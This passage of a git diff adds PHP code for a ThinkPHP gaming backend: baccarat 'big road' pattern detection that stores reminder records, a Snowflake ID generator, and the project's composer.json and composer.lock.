$bigRoadLocation[$bigRoad_lenth-4]['show_x']; + if($is_low == 1){ + $banker_length = $bigRoadLocation[$bigRoad_lenth-4]['show_y']; + }elseif($is_low == 0){ + $banker_length = $bigRoadLocation[$bigRoad_lenth-4]['show_y'] + 1; + }elseif($is_low < 0){ + $banker_length = $bigRoadLocation[$bigRoad_lenth-4]['show_y'] - ($is_low * 2); + } + } + if($bigRoadLocation[$bigRoad_lenth-4-$banker_length]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-4-$banker_length]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-5-$banker_length]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-5-$banker_length]['show_y'] < 6){ + $banker_length_2 = $bigRoadLocation[$bigRoad_lenth-5-$banker_length]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-5-$banker_length]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-4-$banker_length]['show_x'] - $bigRoadLocation[$bigRoad_lenth-5-$banker_length]['show_x']; + if($is_low == 1){ + $banker_length_2 = $bigRoadLocation[$bigRoad_lenth-4-$banker_length]['show_y']; + }elseif($is_low == 0){ + $banker_length_2 = $bigRoadLocation[$bigRoad_lenth-4-$banker_length]['show_y'] + 1; + }elseif($is_low < 0){ + $banker_length_2 = $bigRoadLocation[$bigRoad_lenth-4-$banker_length]['show_y'] - ($is_low * 2); + } + } + if($bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2]['show_y'] >= 2 && $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2]['show_y'] < 6){ + $player_lenth = $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2]['show_x'] - $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2]['show_x']; + if($is_low == 1){ + $player_lenth = $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2]['show_y']; + }elseif($is_low == 0){ + $player_lenth = $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2]['show_y'] + 1; + }elseif($is_low < 0){ + $player_lenth = $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2]['show_y'] - ($is_low * 2); + } + + } + if($bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth]['show_y'] < 6){ + $banker_length_3 = $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2-$player_lenth]['show_x'] - $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth]['show_x']; + if($is_low == 1){ + $banker_length_3 = $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth]['show_y']; + }elseif($is_low == 0){ + $banker_length_3 = $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth]['show_y'] + 1; + }elseif($is_low < 0){ + $banker_length_3 = $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth]['show_y'] - ($is_low * 2); + } + } + if($bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth-$banker_length_3]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth-$banker_length_3]['result'] == 2){ + $is_good = array('table_id' => $table_id, 'waybill_type' => '隔黐闲'); + } + } + } + } + } + } + } + } + //y>=4 + if($bigRoadLocation[$bigRoad_lenth-1]['show_y'] >= 4){ + if($bigRoadLocation[$bigRoad_lenth-1]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-1]['show_y'] < 6){ + $last_banker_lenth = $bigRoadLocation[$bigRoad_lenth-1]['show_y']; + } + if($bigRoadLocation[$bigRoad_lenth-1]['show_y'] == 6){ + for($length=0;$length<99;$length++){ + if($bigRoadLocation[$bigRoad_lenth-1-$length]['show_y'] == 5){ + break; + } + } + $last_banker_lenth = 5 + $length; + } + $is_good = array('table_id' => $table_id, 'waybill_type' => '长庄'); + if($bigRoadLocation[$bigRoad_lenth-1-$last_banker_lenth]['show_y'] >= 2 && $bigRoadLocation[$bigRoad_lenth-1-$last_banker_lenth]['result'] == 2){ + $is_good = array('table_id' => $table_id, 'waybill_type' => '拍拍黐'); + } + if($bigRoadLocation[$bigRoad_lenth-1]['show_y'] == 4){ + $bigRoad_lenth = $bigRoad_lenth - 1; + }elseif($bigRoadLocation[$bigRoad_lenth-1]['show_y'] == 5){ + $bigRoad_lenth = $bigRoad_lenth - 2; + }elseif($bigRoadLocation[$bigRoad_lenth-1]['show_y'] == 6){ + $bigRoad_lenth = $bigRoad_lenth - 2 - $length; + } + if($bigRoadLocation[$bigRoad_lenth-4]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-4]['show_y'] < 6){ + $player_length = $bigRoadLocation[$bigRoad_lenth-4]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-4]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-1]['show_x'] - $bigRoadLocation[$bigRoad_lenth-4]['show_x']; + if($is_low == 1){ + $player_length = $bigRoadLocation[$bigRoad_lenth-4]['show_y']; + }elseif($is_low == 0){ + $player_length = $bigRoadLocation[$bigRoad_lenth-4]['show_y'] + 1; + }elseif($is_low < 0){ + $player_length = $bigRoadLocation[$bigRoad_lenth-4]['show_y'] - ($is_low * 2); + } + } + if($bigRoadLocation[$bigRoad_lenth-4-$player_length]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-4-$player_length]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-5-$player_length]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-5-$player_length]['show_y'] < 6){ + $player_length_2 = $bigRoadLocation[$bigRoad_lenth-5-$player_length]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-5-$player_length]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-4-$player_length]['show_x'] - $bigRoadLocation[$bigRoad_lenth-5-$player_length]['show_x']; + if($is_low == 1){ + $player_length_2 = $bigRoadLocation[$bigRoad_lenth-4-$player_length]['show_y']; + }elseif($is_low == 0){ + $player_length_2 = $bigRoadLocation[$bigRoad_lenth-4-$player_length]['show_y'] + 1; + }elseif($is_low < 0){ + $player_length_2 = $bigRoadLocation[$bigRoad_lenth-4-$player_length]['show_y'] - ($is_low * 2); + } + } + if($bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2]['show_y'] >= 2 && $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2]['show_y'] < 6){ + $banker_lenth = $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2]['show_x'] - $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2]['show_x']; + if($is_low == 1){ + $banker_lenth = $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2]['show_y']; + }elseif($is_low == 0){ + $banker_lenth = $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2]['show_y'] + 1; + }elseif($is_low < 0){ + $banker_lenth = $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2]['show_y'] - ($is_low * 2); + } + + } + if($bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth]['show_y'] < 6){ + $player_length_3 = $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2-$banker_lenth]['show_x'] - $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth]['show_x']; + if($is_low == 1){ + $player_length_3 = $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth]['show_y']; + }elseif($is_low == 0){ + $player_length_3 = $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth]['show_y'] + 1; + }elseif($is_low < 0){ + $player_length_3 = $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth]['show_y'] - ($is_low * 2); + } + } + if($bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth-$player_length_3]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth-$player_length_3]['result'] == 1){ + $is_good = array('table_id' => $table_id, 'waybill_type' => '隔黐庄'); + } + } + } + } + } + } + }elseif($bigRoadLocation[$bigRoad_lenth-1]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-1]['show_y'] < 6){ + $last_banker_lenth = $bigRoadLocation[$bigRoad_lenth-1]['show_y']; + } + if($bigRoadLocation[$bigRoad_lenth-1]['show_y'] == 6){ + for($length=0;$length<99;$length++){ + if($bigRoadLocation[$bigRoad_lenth-1-$length]['show_y'] == 5){ + break; + } + } + $last_player_lenth = 5 + $length; + } + $is_good = array('table_id' => $table_id, 'waybill_type' => '长闲'); + if($bigRoadLocation[$bigRoad_lenth-1-$last_player_lenth]['show_y'] >= 2 && $bigRoadLocation[$bigRoad_lenth-1-$last_player_lenth]['result'] == 1){ + $is_good = array('table_id' => $table_id, 'waybill_type' => '拍拍黐'); + } + if($bigRoadLocation[$bigRoad_lenth-1]['show_y'] == 4){ + $bigRoad_lenth = $bigRoad_lenth - 1; + }elseif($bigRoadLocation[$bigRoad_lenth-1]['show_y'] == 5){ + $bigRoad_lenth = $bigRoad_lenth - 2; + }elseif($bigRoadLocation[$bigRoad_lenth-1]['show_y'] == 6){ + $bigRoad_lenth = $bigRoad_lenth - 2 - $length; + } + if($bigRoadLocation[$bigRoad_lenth-4]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-4]['show_y'] < 6){ + $banker_length = $bigRoadLocation[$bigRoad_lenth-4]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-4]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-1]['show_x'] - $bigRoadLocation[$bigRoad_lenth-4]['show_x']; + if($is_low == 1){ + $banker_length = $bigRoadLocation[$bigRoad_lenth-4]['show_y']; + }elseif($is_low == 0){ + $banker_length = $bigRoadLocation[$bigRoad_lenth-4]['show_y'] + 1; + }elseif($is_low < 0){ + $banker_length = $bigRoadLocation[$bigRoad_lenth-4]['show_y'] - ($is_low * 2); + } + } + if($bigRoadLocation[$bigRoad_lenth-4-$banker_length]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-4-$banker_length]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-5-$banker_length]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-5-$banker_length]['show_y'] < 6){ + $banker_length_2 = $bigRoadLocation[$bigRoad_lenth-5-$banker_length]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-5-$banker_length]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-4-$banker_length]['show_x'] - $bigRoadLocation[$bigRoad_lenth-5-$banker_length]['show_x']; + if($is_low == 1){ + $banker_length_2 = $bigRoadLocation[$bigRoad_lenth-4-$banker_length]['show_y']; + }elseif($is_low == 0){ + $banker_length_2 = $bigRoadLocation[$bigRoad_lenth-4-$banker_length]['show_y'] + 1; + }elseif($is_low < 0){ + $banker_length_2 = $bigRoadLocation[$bigRoad_lenth-4-$banker_length]['show_y'] - ($is_low * 2); + } + } + if($bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2]['show_y'] >= 2 && $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2]['show_y'] < 6){ + $player_lenth = $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2]['show_x'] - $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2]['show_x']; + if($is_low == 1){ + $player_lenth = $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2]['show_y']; + }elseif($is_low == 0){ + $player_lenth = $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2]['show_y'] + 1; + }elseif($is_low < 0){ + $player_lenth = $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2]['show_y'] - ($is_low * 2); + } + + } + if($bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth]['show_y'] < 6){ + $banker_length_3 = $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2-$player_lenth]['show_x'] - $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth]['show_x']; + if($is_low == 1){ + $banker_length_3 = $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth]['show_y']; + }elseif($is_low == 0){ + $banker_length_3 = $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth]['show_y'] + 1; + }elseif($is_low < 0){ + $banker_length_3 = $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth]['show_y'] - ($is_low * 2); + } + } + if($bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth-$banker_length_3]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-5-$banker_length-$banker_length_2-$player_lenth-$banker_length_3]['result'] == 2){ + $is_good = array('table_id' => $table_id, 'waybill_type' => '隔黐闲'); + } + } + } + } + } + } + } + } + } + $table = WaybillRemind::where('table_id',$table_id)->find(); + $create_time = time(); + $bigRoadLocation = json_encode($bigRoadLocation); + if($is_good){ + if($table){ + $update = [ + 'waybill_type' => $is_good['waybill_type'], + 'create_time' => $create_time, + 'boot_id' => $boot_id, + 'ludan' => $bigRoadLocation, + ]; + WaybillRemind::update($update, ['table_id' => $is_good['table_id']]); + }else{ + $insert = [ + 'game_id' => $game_id, + 'table_id' => $is_good['table_id'], + 'table_name' => $table_name, + 'boot_id' => $boot_id, + 'waybill_type' => $is_good['waybill_type'], + 'create_time' => $create_time, + 'ludan' => $bigRoadLocation + ]; + WaybillRemind::create($insert); + } + }else{ + if($table){ + WaybillRemind::where('table_id',$table_id)->delete(); + } + } + } +} \ No newline at end of file diff --git a/app/utils/Snowflake.php b/app/utils/Snowflake.php new file mode 100644 index 0000000..8ef9129 --- /dev/null +++ b/app/utils/Snowflake.php @@ -0,0 +1,86 @@ +workerId = $workerId & 0x1F; + $this->datacenterId = $datacenterId & 0x1F; + } + + /** + * 获取单例实例 + */ + public static function getInstance(): Snowflake + { + if (self::$instance === null) { + self::$instance = new self(1, 1); + } + return self::$instance; + } + + /** + * 生成下一个ID + */ + public function nextId(): int + { + $timestamp = $this->currentTimeMillis(); + + if ($timestamp === $this->lastTimestamp) { + $this->sequence = ($this->sequence + 1) & 0xFFF; + if ($this->sequence === 0) { + $timestamp = $this->waitNextMillis($this->lastTimestamp); + } + } else { + $this->sequence = 0; + } + + $this->lastTimestamp = $timestamp; + + return (($timestamp - self::EPOCH) << 22) + | ($this->datacenterId << 17) + | ($this->workerId << 12) + | $this->sequence; + } + + /** + * 生成字符串ID + */ + public function nextIdString(): string + { + return (string)$this->nextId(); + } + + private function currentTimeMillis(): int + { + return (int)(microtime(true) * 1000); + } + + private function waitNextMillis(int $lastTimestamp): int + { + $timestamp = $this->currentTimeMillis(); + while ($timestamp <= $lastTimestamp) { + $timestamp = $this->currentTimeMillis(); + } + return $timestamp; + } +} diff --git a/composer.json b/composer.json new file mode 100644 index 0000000..c59da54 --- /dev/null +++ b/composer.json @@ -0,0 +1,54 @@ +{ + "name": "topthink/think", + "description": "the new thinkphp framework", + "type": "project", + "keywords": [ + "framework", + "thinkphp", + "ORM" + ], + "homepage": "http://thinkphp.cn/", + "license": "Apache-2.0", + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + }, + { + "name": "yunwuxin", + "email": "448901948@qq.com" + } + ], + "require": { + "ext-json": "*", + "php": ">=7.1.0", + "topthink/framework": "^6.0.5", + "topthink/think-orm": "^2.0", + "topthink/think-view": "^1.0", + "topthink/think-swoole": "~3.0", + "topthink/think-captcha": "^3.0", + "topthink/think-multi-app": "^1.0" + }, + "require-dev": { + "symfony/var-dumper": "^4.2", + "topthink/think-trace":"^1.0" + }, + "autoload": { + "psr-4": { + "app\\": "app", + "freedom\\": "freedom" + }, + "psr-0": { + "": "extend/" + } + }, + "config": { + "preferred-install": "dist" + }, + "scripts": { + "post-autoload-dump": [ + "@php think service:discover", + "@php think vendor:publish" + ] + } +} diff --git a/composer.lock b/composer.lock new file mode 100644 index 0000000..24789d8 --- /dev/null +++ b/composer.lock @@ -0,0 +1,1729 @@ +{ + "_readme": [ + "This file locks the dependencies of your project to a known state", + "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", + "This file is @generated automatically" + ], + "content-hash": "4f7f915885182f8013796e0b358d3d40", + "packages": [ + { + "name": "league/flysystem", + "version": "1.1.4", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/flysystem.git", + "reference": "f3ad69181b8afed2c9edf7be5a2918144ff4ea32" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/flysystem/zipball/f3ad69181b8afed2c9edf7be5a2918144ff4ea32", + "reference": "f3ad69181b8afed2c9edf7be5a2918144ff4ea32", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "ext-fileinfo": "*", + "league/mime-type-detection": "^1.3", + "php": "^7.2.5 || ^8.0" + }, + "conflict": { + "league/flysystem-sftp": "<1.0.6" + }, + "require-dev": { + "phpspec/prophecy": "^1.11.1", + "phpunit/phpunit": "^8.5.8" + }, + "suggest": { + "ext-ftp": "Allows you to use FTP server storage", + "ext-openssl": "Allows you to use FTPS server storage", + "league/flysystem-aws-s3-v2": "Allows you to use S3 storage with AWS SDK v2", + "league/flysystem-aws-s3-v3": "Allows you to use S3 storage with AWS SDK v3", + "league/flysystem-azure": "Allows you to use Windows Azure Blob storage", + "league/flysystem-cached-adapter": "Flysystem adapter decorator for metadata caching", + "league/flysystem-eventable-filesystem": "Allows you to use EventableFilesystem", + "league/flysystem-rackspace": "Allows you to use Rackspace Cloud Files", + "league/flysystem-sftp": "Allows you to use SFTP server storage via phpseclib", + "league/flysystem-webdav": "Allows you to use WebDAV storage", + "league/flysystem-ziparchive": "Allows you to use ZipArchive adapter", + "spatie/flysystem-dropbox": "Allows you to use Dropbox storage", + "srmklive/flysystem-dropbox-v2": "Allows you to use Dropbox storage for PHP 5 applications" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.1-dev" + } + }, + "autoload": { + "psr-4": { + "League\\Flysystem\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Frank de Jonge", + "email": "info@frenky.net" + } + ], + "description": "Filesystem abstraction: Many filesystems, one API.", + "keywords": [ + "Cloud Files", + "WebDAV", + "abstraction", + "aws", + "cloud", + "copy.com", + "dropbox", + "file systems", + "files", + "filesystem", + "filesystems", + "ftp", + "rackspace", + "remote", + "s3", + "sftp", + "storage" + ], + "support": { + "issues": "https://github.com/thephpleague/flysystem/issues", + "source": "https://github.com/thephpleague/flysystem/tree/1.1.4" + }, + "funding": [ + { + "url": "https://offset.earth/frankdejonge", + "type": "other" + } + ], + "time": "2021-06-23T21:56:05+00:00" + }, + { + "name": "league/flysystem-cached-adapter", + "version": "1.1.0", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/flysystem-cached-adapter.git", + "reference": "d1925efb2207ac4be3ad0c40b8277175f99ffaff" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/flysystem-cached-adapter/zipball/d1925efb2207ac4be3ad0c40b8277175f99ffaff", + "reference": "d1925efb2207ac4be3ad0c40b8277175f99ffaff", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "league/flysystem": "~1.0", + "psr/cache": "^1.0.0" + }, + "require-dev": { + "mockery/mockery": "~0.9", + "phpspec/phpspec": "^3.4", + "phpunit/phpunit": "^5.7", + "predis/predis": "~1.0", + "tedivm/stash": "~0.12" + }, + "suggest": { + "ext-phpredis": "Pure C implemented extension for PHP" + }, + "type": "library", + "autoload": { + "psr-4": { + "League\\Flysystem\\Cached\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "frankdejonge", + "email": "info@frenky.net" + } + ], + "description": "An adapter decorator to enable meta-data caching.", + "support": { + "issues": "https://github.com/thephpleague/flysystem-cached-adapter/issues", + "source": "https://github.com/thephpleague/flysystem-cached-adapter/tree/master" + }, + "time": "2020-07-25T15:56:04+00:00" + }, + { + "name": "league/mime-type-detection", + "version": "1.7.0", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/mime-type-detection.git", + "reference": "3b9dff8aaf7323590c1d2e443db701eb1f9aa0d3" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/mime-type-detection/zipball/3b9dff8aaf7323590c1d2e443db701eb1f9aa0d3", + "reference": "3b9dff8aaf7323590c1d2e443db701eb1f9aa0d3", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "ext-fileinfo": "*", + "php": "^7.2 || ^8.0" + }, + "require-dev": { + "friendsofphp/php-cs-fixer": "^2.18", + "phpstan/phpstan": "^0.12.68", + "phpunit/phpunit": "^8.5.8 || ^9.3" + }, + "type": "library", + "autoload": { + "psr-4": { + "League\\MimeTypeDetection\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Frank de Jonge", + "email": "info@frankdejonge.nl" + } + ], + "description": "Mime-type detection for Flysystem", + "support": { + "issues": "https://github.com/thephpleague/mime-type-detection/issues", + "source": "https://github.com/thephpleague/mime-type-detection/tree/1.7.0" + }, + "funding": [ + { + "url": "https://github.com/frankdejonge", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/league/flysystem", + "type": "tidelift" + } + ], + "time": "2021-01-18T20:58:21+00:00" + }, + { + "name": "nette/php-generator", + "version": "v3.5.4", + "source": { + "type": "git", + "url": "https://github.com/nette/php-generator.git", + "reference": "59bb35ed6e8da95854fbf7b7d47dce6156b42915" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/nette/php-generator/zipball/59bb35ed6e8da95854fbf7b7d47dce6156b42915", + "reference": "59bb35ed6e8da95854fbf7b7d47dce6156b42915", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "nette/utils": "^3.1.2", + "php": ">=7.1" + }, + "require-dev": { + "nette/tester": "^2.0", + "nikic/php-parser": "^4.4", + "phpstan/phpstan": "^0.12", + "tracy/tracy": "^2.3" + }, + "suggest": { + "nikic/php-parser": "to use ClassType::withBodiesFrom() & GlobalFunction::withBodyFrom()" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.5-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause", + "GPL-2.0-only", + "GPL-3.0-only" + ], + "authors": [ + { + "name": "David Grudl", + "homepage": "https://davidgrudl.com" + }, + { + "name": "Nette Community", + "homepage": "https://nette.org/contributors" + } + ], + "description": "🐘 Nette PHP Generator: generates neat PHP code for you. Supports new PHP 8.0 features.", + "homepage": "https://nette.org", + "keywords": [ + "code", + "nette", + "php", + "scaffolding" + ], + "support": { + "issues": "https://github.com/nette/php-generator/issues", + "source": "https://github.com/nette/php-generator/tree/v3.5.4" + }, + "time": "2021-07-05T12:02:42+00:00" + }, + { + "name": "nette/utils", + "version": "v3.2.2", + "source": { + "type": "git", + "url": "https://github.com/nette/utils.git", + "reference": "967cfc4f9a1acd5f1058d76715a424c53343c20c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/nette/utils/zipball/967cfc4f9a1acd5f1058d76715a424c53343c20c", + "reference": "967cfc4f9a1acd5f1058d76715a424c53343c20c", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.2 <8.1" + }, + "conflict": { + "nette/di": "<3.0.6" + }, + "require-dev": { + "nette/tester": "~2.0", + "phpstan/phpstan": "^0.12", + "tracy/tracy": "^2.3" + }, + "suggest": { + "ext-gd": "to use Image", + "ext-iconv": "to use Strings::webalize(), toAscii(), chr() and reverse()", + "ext-intl": "to use Strings::webalize(), toAscii(), normalize() and compare()", + "ext-json": "to use Nette\\Utils\\Json", + "ext-mbstring": "to use Strings::lower() etc...", + "ext-tokenizer": "to use Nette\\Utils\\Reflection::getUseStatements()", + "ext-xml": "to use Strings::length() etc. when mbstring is not available" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.2-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause", + "GPL-2.0-only", + "GPL-3.0-only" + ], + "authors": [ + { + "name": "David Grudl", + "homepage": "https://davidgrudl.com" + }, + { + "name": "Nette Community", + "homepage": "https://nette.org/contributors" + } + ], + "description": "🛠 Nette Utils: lightweight utilities for string & array manipulation, image handling, safe JSON encoding/decoding, validation, slug or strong password generating etc.", + "homepage": "https://nette.org", + "keywords": [ + "array", + "core", + "datetime", + "images", + "json", + "nette", + "paginator", + "password", + "slugify", + "string", + "unicode", + "utf-8", + "utility", + "validation" + ], + "support": { + "issues": "https://github.com/nette/utils/issues", + "source": "https://github.com/nette/utils/tree/v3.2.2" + }, + "time": "2021-03-03T22:53:25+00:00" + }, + { + "name": "open-smf/connection-pool", + "version": "v1.0.16", + "source": { + "type": "git", + "url": "https://github.com/open-smf/connection-pool.git", + "reference": "f70e47dbf56f1869d3207e15825cf38810b865e0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/open-smf/connection-pool/zipball/f70e47dbf56f1869d3207e15825cf38810b865e0", + "reference": "f70e47dbf56f1869d3207e15825cf38810b865e0", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "ext-json": "*", + "ext-swoole": ">=4.2.9", + "php": ">=7.0.0" + }, + "require-dev": { + "swoole/ide-helper": "@dev" + }, + "suggest": { + "ext-redis": "A PHP extension for Redis." + }, + "type": "library", + "autoload": { + "psr-4": { + "Smf\\ConnectionPool\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Xie Biao", + "email": "hhxsv5@sina.com" + } + ], + "description": "A common connection pool based on Swoole is usually used as the database connection pool.", + "homepage": "https://github.com/open-smf/connection-pool", + "keywords": [ + "connection-pool", + "database-connection-pool", + "swoole" + ], + "support": { + "issues": "https://github.com/open-smf/connection-pool/issues", + "source": "https://github.com/open-smf/connection-pool" + }, + "time": "2021-03-01T04:13:24+00:00" + }, + { + "name": "psr/cache", + "version": "1.0.1", + "source": { + "type": "git", + "url": "https://github.com/php-fig/cache.git", + "reference": "d11b50ad223250cf17b86e38383413f5a6764bf8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/cache/zipball/d11b50ad223250cf17b86e38383413f5a6764bf8", + "reference": "d11b50ad223250cf17b86e38383413f5a6764bf8", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=5.3.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Cache\\": "src/" + } + }, + 